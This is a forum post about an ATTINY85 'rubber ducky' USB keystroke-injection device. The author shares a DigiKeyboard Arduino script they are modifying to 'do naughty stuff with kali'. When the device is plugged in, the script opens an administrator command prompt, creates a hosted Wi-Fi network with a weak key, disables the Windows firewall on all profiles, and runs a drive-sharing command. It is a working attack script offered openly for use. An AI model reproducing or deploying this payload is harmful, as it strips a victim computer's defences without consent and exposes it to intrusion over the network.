Rubber ducky

Messages
2,664
Reaction score
4,283
Points
845
a friend recently gave me a ATTINY85 rubber ducky and i love it. While it's not a real one it runs all normal duckyscripts with a simple converter.
i wonder if anyone in the community here uses them and what for.
currently modifying this script which creates a wifi network within 5 seconds so i can do naughty stuff with kali
Code:
#include <avr/pgmspace.h>
#include "DigiKeyboard.h"
const char line1[] PROGMEM = "cmd";
const char line2[] PROGMEM = "a";
const char line3[] PROGMEM = "netsh wlan set hostednetwork mode=allow ssid=noobcake key=12345678";
const char line4[] PROGMEM = "netsh wlan start hostednetwork";
const char line5[] PROGMEM = "netsh advfirewall firewall set opmode disable";
const char line6[] PROGMEM = "NetSh Advfirewall set allprofiles state off.";
const char line7[] PROGMEM = "net use s:";
const char line8[] PROGMEM = "exit";
char buffer[256];

#define GetPsz(x) (strncpy_P(buffer, (char*)x, 256))
#define KEY_UP_ARROW    0x52
#define KEY_DOWN_ARROW  0x51
#define KEY_LEFT_ARROW    0x50
#define KEY_RIGHT_ARROW   0x4F
#define KEY_LEFT_GUI      0xE3
#define KEY_ESC       0x29
#define KEY_TAB       0x2B

void digiBegin() {
  DigiKeyboard.sendKeyStroke(0,0);
  DigiKeyboard.delay(50);
}

void digiEnd() {
  const int led=1;
  pinMode(led, OUTPUT);
  while (1) {
    digitalWrite(led, !digitalRead(led));
    DigiKeyboard.delay(50);
  }
}

void printText(char *txt) {
  DigiKeyboard.print(txt);
  DigiKeyboard.update();
}

void setup() {
  digiBegin();

  DigiKeyboard.sendKeyStroke(KEY_ESC,MOD_CONTROL_LEFT);

  DigiKeyboard.delay(200);

  // cmd
  printText(GetPsz(line1));

  DigiKeyboard.delay(1000);

  DigiKeyboard.sendKeyStroke(40);

  DigiKeyboard.delay(1000);

  // a
  printText(GetPsz(line2));

  DigiKeyboard.delay(100);

  DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);

  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  DigiKeyboard.delay(200);

  // netsh wlan set hostednetwork mode=allow ssid=noobcake key=12345678
  printText(GetPsz(line3));

  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  DigiKeyboard.delay(100);

  // netsh wlan start hostednetwork
  printText(GetPsz(line4));

  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  DigiKeyboard.delay(100);

  // netsh firewall set opmode disable
  printText(GetPsz(line5));

  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  // we're going to disable the firewall all-togheter, we can re-enable it later on if we wanted to, but we're doing this because we're lazy.
  printText(GetPsz(line6));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  //Now, we're going to open the C: drive to the network if that has not been done already.
  DigiKeyboard.delay(100);
  printText(GetPsz(line7));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
    printText(GetPsz(line8));
 
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  //all done, let's alert the ducky owner it's done.
  digiEnd();

}
/* Unused endless loop */
void loop() {}
 
Back
Top